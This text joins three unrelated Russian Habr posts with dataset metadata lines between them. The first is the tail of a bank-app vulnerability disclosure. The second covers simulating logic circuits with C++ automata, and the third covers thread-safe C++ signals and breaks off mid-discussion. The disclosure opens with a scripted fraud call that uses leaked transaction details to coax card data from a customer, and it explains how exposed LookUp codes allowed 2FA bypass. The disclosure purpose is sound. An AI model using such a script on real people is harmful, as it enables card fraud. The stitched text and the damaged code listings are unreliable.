*— Добрый день, Вас беспокоит сотрудник мониторинга SomeBank. Мы выявили подозрительную активность по Вашей карте после последней операции. Это Вы расплачивались картой 5111-1115 на 62.08 грн.?
— Наверное, да.
— Эта операция была сегодня, 23.09.18, в 03:38 в UBER. Вы подтверждаете данную операцию?
— А, да, это был я.
— А до этого Вы рассчитывались в TAVRIYA PLUS на 50 грн. и покупали кофе в PARKе SHEVCHENко за 29 грн., верно?
— Да, точно.
— Хорошо. Для того чтобы отменить мошенническую операцию на 444 грн., назовите мне номер отделения, где Ваша карта была выдана – это три цифры с обратной стороны карты, а также...*
Если клиент засомневается, можно назвать другие его операции – с помощью уязвимости можно просматривать их неограниченное количество.
---
Итак, в рамках исследования мобильного приложения были обнаружены способы получения следующих данных:
1. возможность обхода двухфакторной аутентификации на платёжных сайтах;
2. номер телефона клиента;
3. количество его карт;
4. усечённые номера карт;
5. дата регистрации в интернет-банкинге;
6. сообщения, которые отправляются клиенту на смартфон. Включают в себя информацию:
7. по какой карте была операция;
8. на какую сумму;
9. дату и время проведения транзакции;
10. какая именно это была транзакция (покупка в магазине, снятие в банкомате или кассе, пополнение карты и т.д.);
11. торговая точка, где была осуществлена данная операция – включая код авторизации (LookUp);
12. баланс на карте после операции;
13. и многое другое.
Объясню серьёзность Пункта 11. Так как карты данного банка не имеют 3D-Secure (когда при оплате в интернете клиенту в SMS отправляется код, который нужно ввести для подтверждения операции), то платёжные сервисы (например, Portmone, iPay, EasyPay и многих других) проводят операцию по таким картам без дополнительной проверки. Или запрашивают для 2FA специальный код (LookUp-код), который содержится в деталях операции — в названии торговой точки.
Таким образом, мошенники могут легко выведывать информацию о клиентах, а для подтверждения платежей будут просто смотреть нужные коды в системе банка.
Также хочется отметить, что сервис не блокировал множественные запросы, и, перебирая данные, можно было собрать базу с очень большим количеством информации.
Через некоторое время после сообщения об уязвимостях они были исправлены. | https://habr.com/ru/post/441104/ | null | ru | null |
# Реализация инерционных алгоритмов на примере логического моделирование цифровых схем
### 1. Введение
Приступаем ко второй части темы, посвященной вложенным автоматам. В [первой](https://habr.com/ru/post/492958/) мы рассматривали рекурсивные алгоритмы, которые, имея модель вложенных автоматов и подключив возможности ООП, реализовать оказалось не столь уж сложно. Но возможности вложенных автоматов этим не исчерпываются. Так, при описании модели управления автоматных программ были определены инерционные алгоритмы, в основе которых также идея вложении автоматов. Инерционные алгоритмы сложно представить в рамках обычной блок-схемной модели вычислений, в которой совсем не предусмотрен возврат управления в точку, предшествующую вызову подпрограммы. Но надо сказать, что и у обычных автоматов предусматривается отмены переходов «на лету». Тем не менее, для автоматов подобное можно не только представить, но и реализовать.
Инерционные алгоритмы и логическое моделирование цифровых схем связанные между собой темы. И не столько тем, что инерционная задержка дала название рассматриваемому классу алгоритмов, а сколько смыслом отложенных действий инерционной задержки, который и был перенесен на смысл их работы. Хотя, конечно, дело не в названии. В UML аналогичные алгоритмы реализуются с использованием концепции исторических состояний (history state). Аналогия прямая, хотя о моделировании цифровых схем в UML, как правило, речи не идет. Просто не так уж редки ситуации, когда возврат в исходную точку, если что-то к этому принуждает, представляется наиболее естественным. Примерами могут служить — отказ покупки билетов, отмена банковских операций/транзакций, разрыв соединения сети и т.д. и т.п. В конце концов, как утверждают в UML, без использование исторических состояний реализация подобных алгоритмов не была бы столь «красивой» [1].
Тема логического моделирование цифровых схем обширна и интересна сама по себе. И новое прочтение ей никак не помешает. Как мы убедимся, технология автоматного программирования может предложить даже более совершенный способ описания, реализации и логического моделирования цифровых схем. С этим мы и познакомимся, преследуя все же основную цель — рассмотрение интересного, полезного и, наконец, просто красивого класса алгоритмов, естественного для автоматов, но достаточно сложно реализуемого в рамках других вычислительных моделей.
### 2. Логическое моделирование цифровых схем
В литературе рассматривают обычно два способа моделирования цифровых схем — компиляционный и событийный. Компиляционный ограничен в своих возможностях, т.к. не учитывает задержек элементов, требует ранжирования элементов и разрыва обратных связей [2]. Событийный способ не имеет подобных ограничений и основан на отслеживании событий, связанных с изменением значений сигналов внутри схемы. Компиляционный мы рассматривать не будем, а сосредоточимся на сравнении событийного со способом, реализованным в рамках возможностей автоматного программирования, который и назовем далее соответственно автоматным способом.
В качестве примера возьмем схему из [2], изображенную на рис. 1. Диаграммы ее работы из первоисточника приведены на рис. 2. Рассматриваются два варианта — с единой задержкой, когда логические элементы схемы имеют одинаковые задержки, и с распределенной задержкой, когда у элементов B и E задержка в два раза больше, чем у остальных элементов схемы.
Рис. 1. Пример схемы.
Рис. 2. Примеры моделирования: а — единая задержка; б — распределенная задержка.
При автоматном способе моделирования даже изобретать чего-то не надо, т.к. нет необходимости в создании достаточно специфического языка описания схемы и структур, реализующих связи схемы, и не нужны достаточно специфические алгоритмы выявления событий в процессе моделирования схемы, которые затем служат основой для построения диаграмм работы схемы (с описанием того и другого см. в [2]).
В случае автоматов сначала создаются обычные для автоматной технологии проектирования программ модели логических элементов, которые включаются в библиотеку логических элементов (БЛЭ). Далее на базе данной библиотеки создается соответствующее числу элементов схемы множество параллельных автоматных процессов, между которыми указываются связи, используя входные/выходные каналы моделей логических элементов (для этого в среде ВКПа часто вполне достаточно локальных переменных процессов). В заключение модель схемы дополняется процессами-генераторами входных сигналов и процессами отображения диаграмм сигналов.
Результаты моделирования рассматриваемого примера в среде ВКПа, которые показаны на рис. 3, полностью совпадают с диаграммами на рис. 2. Правда, добиться такого совпадения получилось не сразу. И не из-за проблем с моделями, а потому, что фактически «методом научного подбора» пришлось вычислять длительность входных сигналов, что, как выяснилось, имеет существенное влияние. Но в [2] ни об этом, ни о параметрах входных сигналов, не было сказано ни слова. Полного совпадения удалось добиться, выяснив, что 1) необходима длительность, равная трехкратной задержке, и 2) смещение сигнала (б) по отношению к сигналу (а) должно составлять время, равное единичной задержке. Для пояснения данной проблемы на рис. 4 приведена диаграммы сигналов для разной длительности входных сигналов (и это без учета их смещения).
Рис. 3. Результаты моделирования в ВКПа: а — единая задержка; б — распределенная задержка.
Рис. 4. Результаты моделирования с разной длительностью входных сигналов
Рассмотрим еще один пример схемы из того же источника [2]. Его схема и временные диаграммы работы показаны на рис. 5. В рамках событийного способа для «вычисления» временной диаграммы потребовалось 20 шагов моделирования (подробнее см. [2]). Но, как там же утверждается, потребуется еще более сложный алгоритм и соответственно еще большее число шагов, если выбрать инерционный тип задержек. В нашем же случае (случае автоматного способа моделирования), имея предыдущую модель, нам потребуется «20 щелчков» мышкой, чтобы перейти к схеме на рис. 5, удалив лишние элементы исходной схемы. Результаты моделирования схемы, полученные в ВКПа, показаны на рис. 6.
Рис. 5. Пример схемы и ее временной диаграммы.
Кроме того в схему на рис. 5 мы добавили параллельно элементу ИЛИ элемент И. График d на рис. 6 отображает его работу для случая единичной задержки. Если же мы установим большую задержку и установим инерционный тип задержки, то график d превратится в прямую линию. Следовательно, элемент И с инерционной задержкой большей, чем единичное значение, не пропустит на выход импульс, сформированный на его входах комбинацией данных входных сигналов a и b. Заметим, что манипулировать типом задержки имеет смысл только для элементов, имеющих задержку больше единичной.
Рис. 6. Моделирование схемы на рис. 5 и элемента И (d).
### 3. Реализация логических элементов
В общем случае любой логический элемент можно представить в виде последовательного соединения двух блоков (см. рис. 7) — идеального логического элемента без задержки и блока, в качестве которого может рассматриваться задержка распространения (транспортная задержка) или инерционная задержка [2].
Рис. 7. Модель логического элемента с задержкой.
Идеальный логический элемент весьма просто реализуется обычной логической функцией, а модель блока задержки можно представить в форме модели автомата — универсальной модели, включающей транспортную и инерционную задержку. Модель такой универсальной задержки показана на рис. 8, а модели вложенных автоматов для нее — на рис. 9. Их реализацию на языке С++ и в рамках технологии автоматного программирования демонстрирует листинг 1.
Рис. 8. Модель универсальной задержки.
Рис. 9. Модели вложенных автоматов для универсальной задержки.
Автоматы на рис. 8 и рис. 9 представляют собой смешанные автоматы Мили-Мура. Работа основного автомата на рис. 8. начинается с создания локальных переменных и инициализации ссылок в действии y12 (предикат x12 все это проверяет). Промежуточное состояние «ss» необходимо для корректной работы предиката x3, имеющего ссылку на входную переменную, которая может оказаться не инициализированной. Из состояния «ss» модель переходит в состояние, соответствующее выходу задержки, вызывая при этом вложенный автомат. Заметим, что действия при состояниях автомата (действия автоматов Мура) будут инициированы только после завершения работы вложенного автомата. Они и установят в конечном счете текущее значение задержки и состояние переменной выхода.
Действие y13, если определено значение задержки, создает в зависимости от типа задержки необходимый вложенный автомат. Вложенный автомат транспортной задержки просто отсчитывает заданное значение тактов дискретного времени (длительность задержки определяется числом дискретных тактов), а инерционная задержка контролирует дополнительно уровень входного сигнала. При этом, заметим, возвращаемое значение предиката x3 зависит от текущего состояния автомата верхнего уровня.
Реализацию автоматов на рис. 8, 9 отражает листинг 3. Рассматривая код, следует обратить внимание на виртуальный метод f(), который, с одной стороны, реализует ту или иную перекрываемую абстрактную логическую функцию, а, с другой стороны, выполняет, если задано, инвертирование. Все это необходимо для реализации производных моделей логических элементов. Реализацию такого логического элемента И-НЕ демонстрирует листинг 2.
**Листинг 1. Реализация универсального логического элемента задержки**
```
#include "lfsaappl.h"
extern LArc TBL_DiscreteTime[];
class FDiscreteTime :
public LFsaAppl
{
public:
enum {cvarINE, cvarExlusiveOR, cvarOrNot};
void MooreAction();
bool FCreationOfLinksForVariables();
LFsaAppl* Create(CVarFSA *pCVF) { Q_UNUSED(pCVF) return new FDiscreteTime(nameFsa); }
bool FInit();
FDiscreteTime(string strNam, LArc* pTBL = TBL_DiscreteTime);
~FDiscreteTime(void);
CVar *pVarType; // delay type 0-transport; 1- inertial
CVar *pVarX1; // input variable
CVar *pVarStrNameX1; // input variable name
CVar *pVarIfNotX1; // inverse of the first input variable
CVar *pVarY1; // output variable
CVar *pVarStrNameY1; // output variable name
CVar *pVarValue01; // delay value from 0 to 1
CVar *pVarValue10; // delay value from 1 to 0
CVar *pVarNegationY;// output inversion 0 - no inversion; 1- inversion
virtual int x3(); // input analysis
virtual int x12(); // link setup analysis
virtual bool f();
int nTypeElement;
protected:
// predicates
int x1();
// actions
void y1(); void y4(); void y5(); void y6(); void y7(); void y12(); void y13();
bool bType{false}; // delay type: false - transport; true - inertial;
bool bX1{false};
int nCurrent{0};
int nDelay{0}; // tech. delay counter value
LFsaAppl *pFCall{nullptr};
friend class FCallTransport;
friend class FCallInertial;
};
class FCallTransport :
public LFsaAppl
{
public:
void MooreAction();
FCallTransport(FDiscreteTime *pFDiscreteTime);
FDiscreteTime *pFDiscreteTime;
protected:
int x1();
};
class FCallInertial :
public LFsaAppl
{
public:
void MooreAction();
FCallInertial(FDiscreteTime *pFDiscreteTime);
FDiscreteTime *pFDiscreteTime;
protected:
int x1(); int x3();
};
#include "stdafx.h"
#include "FDiscreteTime.h"
#include "VARFSA/SetVarFsaLibrary.h"
//=====================================================================
// Delay model at the upper structural level of the view
//=====================================================================
LArc TBL_DiscreteTime[] = {
LArc("st", "st","^x12","y12"), //
LArc("st", "ss","x12", "--"), //
LArc("ss", "s1","x3", "y7y6y13"),// transition to a single state
LArc("ss", "s0","^x3", "y4y5y13"),// transition to zero state
// creation of a nested automaton at the transition to a single state
LArc("s0", "s1","x3", "y13"),
// creation of a nested automaton at the transition to the zero state
LArc("s1", "s0","^x3", "y13"),
LArc()
};
FDiscreteTime::FDiscreteTime(string strNam, LArc* pTBL):
LFsaAppl(pTBL, strNam, nullptr, nullptr)
{ }
FDiscreteTime::~FDiscreteTime(void) { if (pFCall) delete pFCall; }
bool FDiscreteTime::FInit() {
FCreationOfLinksForVariables();
return true;
}
bool FDiscreteTime::FCreationOfLinksForVariables()
{
// Local variables
pVarNegationY = CreateLocVar("negation", CLocVar::vtBool, "output inversion: 0-without inversion / 1-inversion");
pVarType = CreateLocVar("type", CLocVar::vtBool, "delay type: 0-transp / 1-inertia");
pVarY1 = CreateLocVar("y", CLocVar::vtBool, "local output");
pVarX1 = CreateLocVar("x1", CLocVar::vtBool, "local input");
pVarValue01 = CreateLocVar("value to 1", CLocVar::vtInteger, "delay value from 0 to 1");
pVarValue10 = CreateLocVar("value to 0", CLocVar::vtInteger, "delay value from 1 to 0");
pVarStrNameX1 = CreateLocVar("strNameX1", CLocVar::vtString, "name of external input variable (x)");
pVarStrNameY1 = CreateLocVar("strNameY", CLocVar::vtString, "name of external output variable (y)");
pVarIfNotX1 = CreateLocVar("not(x1)", CLocVar::vtBool, "1st input inversion: 0-without inversion / 1-inversion");
string str;
str = pVarStrNameX1->strGetDataSrc();
if (str != "") { pVarX1 = pTAppCore->GetAddressVar(pVarStrNameX1->strGetDataSrc().c_str(), this); }
str = pVarStrNameY1->strGetDataSrc();
if (str != "") { pVarY1 = pTAppCore->GetAddressVar(pVarStrNameY1->strGetDataSrc().c_str(), this); }
return true;
}
// predicates
int FDiscreteTime::x1() { return nCurrent == nDelay; }
// анализ входа
int FDiscreteTime::x3() {
if (bool(pVarNegationY->GetDataSrc())) return !f();
return f();
}
//
int FDiscreteTime::x12() { return pVarX1 != nullptr; }
//
bool FDiscreteTime::f() {
bX1 = bool(pVarX1->GetDataSrc());
if (bool(pVarIfNotX1->GetDataSrc())) bX1 = !bX1;
return bX1;
}
// actions
// +1 to the current delay value
void FDiscreteTime::y1() { nCurrent++; }
// setting the delay value when switching from 0 to 1
void FDiscreteTime::y4() { nDelay = int(pVarValue01->GetDataSrc()); }
// setting output to zero
void FDiscreteTime::y5() { pVarY1->SetDataSrc(nullptr, 0.0); }
// setting output to unit
void FDiscreteTime::y6() { pVarY1->SetDataSrc(nullptr, 1); }
// setting the delay value when switching from 1 to 0
void FDiscreteTime::y7() { nDelay = int(pVarValue10->GetDataSrc()); }
//
void FDiscreteTime::y12() { FInit(); }
// creation, if a delay is determined, of the necessary nested automaton
void FDiscreteTime::y13() {
nCurrent = 0;
if (pFCall) { delete pFCall; pFCall = nullptr; }
if (x1()) return;
bType = pVarType->GetDataSrc(); // set delay type
if (bType) pFCall = new FCallInertial(this);
else pFCall = new FCallTransport(this);
if (pFCall) pFCall->FCall(this);
}
void FDiscreteTime::MooreAction()
{
string strState = FGetState();
if (strState=="s0") {
y4(); y5(); // y4) setting the delay value when switching from 0 to 1; y5) set the output to zero
}
else if (strState=="s1") {
y7(); y6(); // y7) setting the delay value when switching from 1 to 0; y6) setting the output to one
}
}
//=====================================================================
// Transport delay
//=====================================================================
static LArc TBL_CallTransport[] = {
LArc("s5","s5","^x1", "--"), //
LArc("s5","00","x1", "--"), //
LArc()
};
FCallTransport::FCallTransport(FDiscreteTime *pFI):
LFsaAppl(TBL_CallTransport, "FCallTransport", nullptr, nullptr)
{
pFDiscreteTime = pFI;
}
// тек.счетчик == задержке
int FCallTransport::x1() { return pFDiscreteTime->x1(); }
//
void FCallTransport::MooreAction()
{
string strState = FGetState();
if (strState=="s5") { pFDiscreteTime->y1(); }
}
//=====================================================================
// Inertial delay
//=====================================================================
static LArc TBL_CallInertial[] = {
LArc("s5", "s5","^x1x3", "--"), //
LArc("s5", "00","x1x3", "--"), //
LArc("s5", "XX","^x3", "--"), //
LArc()
};
FCallInertial::FCallInertial(FDiscreteTime *pFI):
LFsaAppl(TBL_CallInertial, "FCallInertial", nullptr, nullptr)
{
pFDiscreteTime = pFI;
}
// тек.счетчик == задержке
int FCallInertial::x1() { return pFDiscreteTime->x1(); }
// input value (depends on the name of the current state of the main automaton)
int FCallInertial::x3() {
string strState = FGetStateUp();
bool bX = pFDiscreteTime->x3();
if (strState == "s0") return bX;
if (strState == "s1") return !bX;
if (strState == "st") {
string str = pFDiscreteTime->FGetNextState();
bX = pFDiscreteTime->x3();
if (!bX) {
if (x1()) {
if (str == "s0") return !bX;
if (str == "s1") return bX;
}
else return true;
}
return true;
}
else return bX;
}
//
void FCallInertial::MooreAction()
{
string strState = FGetState();
if (strState=="s5") { pFDiscreteTime->y1(); }
}
```
**Листинг 2. Реализация логического элемента И-НЕ**
```
#include "lfsaappl.h"
#include "../FDiscreteTime.h"
extern LArc TBL_DiscreteTime[];
class FIne :
public FDiscreteTime
{
public:
bool FCreationOfLinksForVariables() override;
LFsaAppl* Create(CVarFSA *pCVF) override { Q_UNUSED(pCVF) return new FIne(nameFsa); }
bool FInit() override;
FIne(string strNam, LArc* TBL = TBL_DiscreteTime);
~FIne(void);
CVar *pVarX2; // второй вход
CVar *pVarStrNameX2; // имя второй входной переменной
CVar *pVarIfNotX2; // инверсия второй входной переменной
virtual bool f() override;
protected:
int x12() override;
bool bX2;
};
#include "stdafx.h"
#include
#include "VARFSA/SetVarFsaLibrary.h"
FIne::FIne(string strNam, LArc\* pTBL):
FDiscreteTime(strNam, pTBL)
{
nTypeElement = FDiscreteTime::cvarINE;
}
FIne::~FIne(void) { }
bool FIne::FInit() {
// инициализация свойств
FCreationOfLinksForVariables();
// подключение диалога
return true;
}
bool FIne::FCreationOfLinksForVariables() {
// Локальные переменные
FDiscreteTime::FCreationOfLinksForVariables();
// создаем локальные параметры для входов x1, x2
pVarIfNotX2 = CreateLocVar("not(x2)", CLocVar::vtBool, "инверсия 2-го входа: 0-без инверсии/1-инверсия");
pVarX2 = CreateLocVar("x2", CLocVar::vtBool, "локальный 2-й вход");
// создаем параметр, с помощью которых можем менять имена пееременных входа x2
pVarStrNameX2 = CreateLocVar("strNameX2", CLocVar::vtString, "имя внешней 2-й вх.переменной(x)");
// анализ: если имена заданы, то устанавливаем ссылку на них
string str = pVarStrNameX2->strGetDataSrc();
if (str != "") { pVarX2 = pTAppCore->GetAddressVar(pVarStrNameX2->strGetDataSrc().c\_str(), this); }
//
return true;
}
//
int FIne::x12() { return FDiscreteTime::x12() && pVarX2 != nullptr; }
//
bool FIne::f() {
// читаем 1-й вход
FDiscreteTime::f();
// читаем второй вход
bX2 = bool(pVarX2->GetDataSrc());
if (bool(pVarIfNotX2->GetDataSrc())) bX2 = !bX2;
// вычислить логическую функцию: И
return bX1&&bX2
}
```
Благодаря ООП, код модели логического элемента И-НЕ уже заметно меньше, чем код «родительской» задержки. При этом он во многом определяется необходимостью создания дополнительного входа для модели элемента И-НЕ. Если же на структурном уровне модели по числу входов/выходов совпадают, то код будет еще меньше. Так, код реализации логического элемента «Исключающее ИЛИ», порожденного от структурно аналогичной модели элемента И-НЕ, представлен на листинге 3.
**Листинг 3. Реализация логического элемента Исключающее ИЛИ**
```
#include
extern LArc TBL\_DiscreteTime[];
class FExlusiveOR :
public FIne
{
public:
LFsaAppl\* Create(CVarFSA \*pCVF) { return new FExlusiveOR(nameFsa); }
FExlusiveOR(string strNam, LArc\* TBL = TBL\_DiscreteTime);
~FExlusiveOR(void);
protected:
bool f();
};
#include "stdafx.h"
#include "FExlusiveOR.h"
FExlusiveOR::FExlusiveOR(string strNam, LArc\* pTBL):
FIne(strNam, pTBL)
{
nTypeElement = FDiscreteTime::cvarExlusiveOR;
}
FExlusiveOR::~FExlusiveOR(void) { }
//
bool FExlusiveOR::f() {
FIne::f();
return (bX1&&bX2)||(!bX1&&!bX2);
}
```
Здесь метод f() класса FExlusiveOR вызывает метод f() класса FIne только лишь для чтения значения входных переменных, перекрывая затем значение функции И-НЕ, значением, вычисленным в соответствии с логической функцией нового класса. По образу и подобию могут быть созданы модели и любых других двухвходовых логических элементов.
### 3. Выводы
Для реализации любой цифровой схемы достаточно так называемого функционально полного набора логических элементов. Им может быть, например, набор элементов И, ИЛИ, НЕ. Мы рассмотрели реализацию следующих логических элементов — задержки, которая может быть инвертором, элементов И-НЕ и ИСКЛЮЧАЮЩЕЕ ИЛИ. Они относятся к базовым элементам, входящим в тот или иной функционально полный набор. В целях реализации и/или моделирования любой схемы осталось добавить в библиотеку, например, элемент ИЛИ-НЕ или реализовать универсальный настраиваемый элемент, настраиваемый на элемент из функционально полного набора. И уже этого будет вполне достаточно.
В результате на базе приведенных выше моделей мы имеем в лице среды ВКПа полноценную среду логического моделирования цифровых схем, которая позволяет породить из любого библиотечного элемента любое число процессов, настроить их и установить между ними связи. При этом моделирование будет более детальным (учитывающим все виды задержек), более гибким (можно настраивать элементы индивидуально), чем в случае упомянутых двух типовых способов логического моделирования — компиляционного и событийного. И это не будет специализированная среда, т.к. модель программных процессов остается неизменной, она останется столь же универсальной, как и любая другая объектная среда программирования, базирующаяся на использовании языка С++.
И еще о… наболевшем. Когда-то, столкнувшись с тем, что в научной литературе неверно или, что более будет точно, фактически безграмотно дается описание такого ключевого логического элемента, как RS-триггера, а также с тем, что даже крутые электронщики не знают, как работает в деталях триггер, я потратил достаточно много времени, чтобы разобраться с этим. И могу отчитаться, что на текущий момент в проблеме триггера, как минимум, для меня нет белых пятен (см. подробнее [3]). И потому остается только поражаться, что ни что по большому счету не меняется. Как давали раньше табличное описание триггера, так его поныне и приводят, как были пресловутые запрещенные состояния, так они и остались, как сетовали на непредсказуемое переключение триггера при выходе из запрещенного состояния, так в том же неведении до сих пор и находятся. И это при том, что уже известны примеры достаточно точного описания его поведения (см., например, [4]).
Вот уж, воистину, «чудны дела твои, Господи!» Нет, похоже, на головы подобных «описателей RS-триггера»… автоматного программирования и рассмотренного способа моделирования логических схем в среде ВКПа. И если вернуться к теме статьи, то, например, используя приведенную выше модель элемента И-НЕ, можно легко создать модель триггера и в деталях смоделировать его работу. В том числе и с учетом свойств реальных логических элементов, которые имеют только инерционный тип задержек. Ну, а если нужно формальное доказательство свойств триггера, то оно приведено в [5].
**Литература**1. Буч Г., Рамбо Дж., Якобсон И. Язык UML. Руководство пользователя. Второе издание. Академия АЙТИ: Москва, 2007. – 493 с.
2. Киносита К., Асада К., Карацу О. Логическое проектирование СБИС: Пер. с япон. – М.: Мир, 1988. – 309 с.
3. Автоматная модель управления программ. [Электронный ресурс], Режим доступа: [habr.com/ru/post/484588](https://habr.com/ru/post/484588/) свободный. Яз. рус. (дата обращения 07.01.2020).
4. Фрике К. Вводный курс цифровой электроники. 2-е исправленное издание. – М.: Техносфера, 2004. – 432с.
5. Любченко В.С. Дизъюнктивная форма структурных автоматов. [Электронный ресурс], Режим доступа: [cloud.mail.ru/public/HwsK/T95PMM8Ed](https://cloud.mail.ru/public/HwsK/T95PMM8Ed) свободный. Яз. рус. (дата обращения 01.02.2020). | https://habr.com/ru/post/494874/ | null | ru | null |
# Потокобезопасные сигналы, которыми действительно удобно пользоваться
В мире существует множество библиотек, реализующих сигналы в C++. К сожалению, у всех реализаций, с которыми я сталкивался, есть несколько проблем, которые не позволяют писать простой многопоточный код с использованием этих библиотек. Здесь я расскажу об этих проблемах, и о том, как их можно решить.
Что такое сигналы?
------------------
Думаю, многие уже знакомы с этой концепцией, но на всякий случай всё же напишу.
Сигнал — это способ отправить уведомление о произвольном событии получателям, которые могут регистрироваться независимо друг от друга. Если угодно, callback с множеством получателей. Или, для тех, кто работал с .NET, multicast delegate.
**Пара примеров с boost::signals2**Объявление сигнала:
```
struct Button
{
boost::signals2::signal OnClick;
};
```
Подключение к сигналу и отключение от него:
```
void ClickHandler()
{ cout << “Button clicked” << endl; }
// ...
boost::signals2::connection c = button->OnClick.connect(&ClickHandler);
// ...
c.disconnect();
```
Вызов сигнала:
```
struct Button
{
boost::signals2::signal OnClick;
private:
void MouseDownHandler()
{
OnClick();
}
};
```
Теперь о проблемах
------------------
В однопоточном коде всё выглядит отлично, и работает неплохо, но что насчёт многопоточного?
Тут, к сожалению, есть три общих для разных реализаций проблемы:
1. Нет способа атомарно подключиться к сигналу и получить связанное состояние
2. Неблокирующее отключение от сигнала
3. Отключение асинхронного обработчика не отменяет вызовы, которые уже попали в очередь его потока
Рассмотрим каждую из них подробно. Для этого напишем часть прошивки воображаемой медиа-приставки, а именно три класса:
* **StorageManager** — класс, который реагирует на флэшки, DVD-диски и прочие носители, которые пользователь вставил в приставку
* **MediaScanner** — класс, который ищет медиа-файлы на каждом из таких устройств
* **MediaUiModel** — модель для отображения этих медиа-файлов в воображаемом Model-View-что-нибудь фреймворке
Сразу скажу, что код, который вы тут увидите, предельно упрощён, и не содержит ничего лишнего, чтобы мы могли сконцентрироваться на этих проблемах. Также вы встретите типы вида *TypePtr*. Это всего лишь *std::shared\_ptr*, не пугайтесь.
Нет способа атомарно подключиться к сигналу и получить связанное состояние
--------------------------------------------------------------------------
Итак, *StorageManager*. Нужен геттер для тех носителей, которые уже вставлены в приставку, и сигнал для уведомления о появлении новых.
```
class StorageManager
{
public:
std::vector GetStorages() const;
boost::signals2::signal OnStorageAdded;
// ...
};
```
Увы, таким интерфейсом невозможно воспользоваться без того, чтобы получить race condition.
Не работает в таком порядке…
```
storageManager->OnStorageAdded.connect(&StorageHandler);
// Если пользователь вставляет флэшку до цикла, она будет обработана дважды
for (auto&& storage : storageManager->GetStorages())
StorageHandler(storage);
```
… и не работает в таком порядке.
```
for (auto&& storage : storageManager->GetStorages())
StorageHandler(storage);
// Если пользователь вставляет флэшку до подключения к сигналу, она не будет обработана совсем
storageManager->OnStorageAdded.connect(&StorageHandler);
```
### Распространённое решение
Очевидно, раз мы получили race condition, нам нужен мьютекс.
```
class StorageManager
{
mutable std::recursive_mutex _mutex;
std::vector \_storages;
public:
StorageManager()
{ /\* ... \*/ }
boost::signals2::signal OnStorageAdded;
std::recursive\_mutex& GetMutex() const
{ return \_mutex; }
std::vector GetStorages() const
{
std::lock\_guard l(\_mutex);
return \_storages;
}
private:
void ReportNewStorage(const StoragePtr& storage)
{
std::lock\_guard l(\_mutex);
\_storages.push\_back(storage);
OnStorageAdded(storage);
}
};
// ...
{
std::lock\_guard l(storageManager->GetMutex());
storageManager->OnStorageAdded.connect(&StorageHandler);
for (auto&& storage : storageManager->GetStorages())
StorageHandler(storage);
}
```
Этот код будет работать, но у него есть несколько недостатков:
* Если вы хотите использовать *std::mutex* вместо *std::recursive\_mutex*, вы теряете возможность захватывать его внутри метода *GetStorages*, что делает класс *StorageManager* непотокобезопасным
* Вы не можете избавиться от копирования коллекции внутри *GetStorages*, не потеряв потокобезопасность *StorageManager*'а
* Вам приходится показывать наружу тип *std::vector*, хотя на деле это всего лишь детали реализации
* Довольно объёмный код подключения к сигналу и получения текущего состояния, который при этом почти никак не отличается для разных сигналов
### Как сделать лучше?
Давайте перенесём всё то, что мы делаем вокруг вызова *connect* (захват мьютекса и обход коллекции) внутрь.
Тут важно понимать, что алгоритм получения текущего состояния зависит от природы этого самого состояния. Если это коллекция, нужно вызвать обработчик для каждого элемента, если же это, например, enum, то нужно вызвать обработчик ровно один раз. Соответственно, нам нужна некая абстракция.
Добавим в сигнал **популятор** — функцию, принимающую обработчик, который сейчас подключается, и пусть владелец сигнала (StorageManager, в нашем случае) определяет, каким образом текущее состояние будет отправлено в этот обработчик.
```
template < typename Signature >
class signal
{
using populator_type = std::function&)>;
mutable std::mutex \_mutex;
std::list > \_handlers;
populator\_type \_populator;
public:
signal(populator\_type populator)
: \_populator(std::move(populator))
{ }
std::mutex& get\_mutex() const { return \_mutex; }
signal\_connection connect(std::function handler)
{
std::lock\_guard l(\_mutex);
\_populator(handler); // Владелец сигнала определяет конкретный алгоритм получения состояния
\_handlers.push\_back(std::move(handler));
return signal\_connection([&]() { /\* удаляем обработчик из \_handlers \*/ } );
}
// ...
};
```
Класс *signal\_connection* пока принимает лямбда-функцию, которая удалит обработчик из списка в сигнале. Чуть дополненный код я приведу позже.
Перепишем *StorageManager* с использованием этой новой концепции:
```
class StorageManager
{
std::vector \_storages;
public:
StorageManager()
: \_storages([&](const std::function& h) { for (auto&& s : \_storages) h(s); })
{ /\* ... \*/ }
signal OnStorageAdded;
private:
void ReportNewStorage(const StoragePtr& storage)
{
// Мы должны захватить мьютекс именно тут, а не внутри вызова сигнала,
// потому что он защищает в том числе и коллекцию \_storages
std::lock\_guard l(OnStorageAdded.get\_mutex());
\_storages.push\_back(storage);
OnStorageAdded(storage);
}
};
```
Если вы используете C++14, популятор может быть совсем коротким:
```
StorageManager()
: _storages([&](auto&& h) { for (auto&& s : _storages) h(s); })
{ }
```
Обратите внимание, что при вызове популятора мьютекс захватывается в методе *signal::connect*, поэтому в теле самого популятора делать этого не нужно.
Клиентский код становится совсем коротким:
```
storageManager->OnStorageAdded.connect(&StorageHandler);
```
Одной строчкой мы одновременно подключаемся к сигналу и получаем текущее состояние объекта. Отлично!
Неблокирующее отключение от сигнала
-----------------------------------
Теперь пора писать *MediaScanner*. В конструкторе подключимся к сигналу *StorageManager::OnStorageAdded*, а в деструкторе отключимся.
```
class MediaScanner
{
private:
boost::signals2::connection _connection;
public:
MediaScanner(const StorageManagerPtr& storageManager)
{ _connection = storageManager->OnStorageAdded.connect([&](const StoragePtr& s) { this->StorageHandler(s); }); }
~MediaScanner()
{
_connection.disconnect();
// Обработчик сигнала может всё ещё исполняться в потоке, вызвавшем сигнал.
// В этом случае, далее он будет обращаться к разрушенному объекту MediaScanner.
}
private:
void StorageHandler(const StoragePtr& storage)
{ /* Здесь что-то долгое */ }
};
```
Увы, этот код время от времени будет падать. Причина в том, как работает метод *disconnect* во всех известных мне реализациях. Он гарантирует, что когда сигнал будет вызван в следующий раз, соответствующий обработчик не сработает. При этом, если обработчик в это время исполняется в другом потоке, то он не будет прерван, и продолжит работать с разрушенным объектом *MediaScanner*.
### Решение в Qt
В Qt каждый объект принадлежит определённому потоку, и его обработчики вызываются исключительно в этом потоке. Для безопасного отключения от сигнала, вам следует вызывать метод *QObject::deleteLater*, который гарантирует, что реальное удаление будет произведено из нужного потока, и что ни один обработчик не будет вызван после удаления.
```
mediaScanner->deleteLater();
```
Это неплохой вариант, если вы готовы полноценно интегрироваться с Qt (отказаться от std::thread в ядре вашей программы в пользу QObject, QThread и прочего).
### Решение в boost::signals2
Буст для решения этой проблемы предлагает использовать методы *track*/*track\_foreign* в слоте (т. е. обработчике). Эти методы принимают *weak\_ptr* на произвольный объект, и соединение обработчика с сигналом существует, пока жив каждый из объектов, за которым «следит» слот.
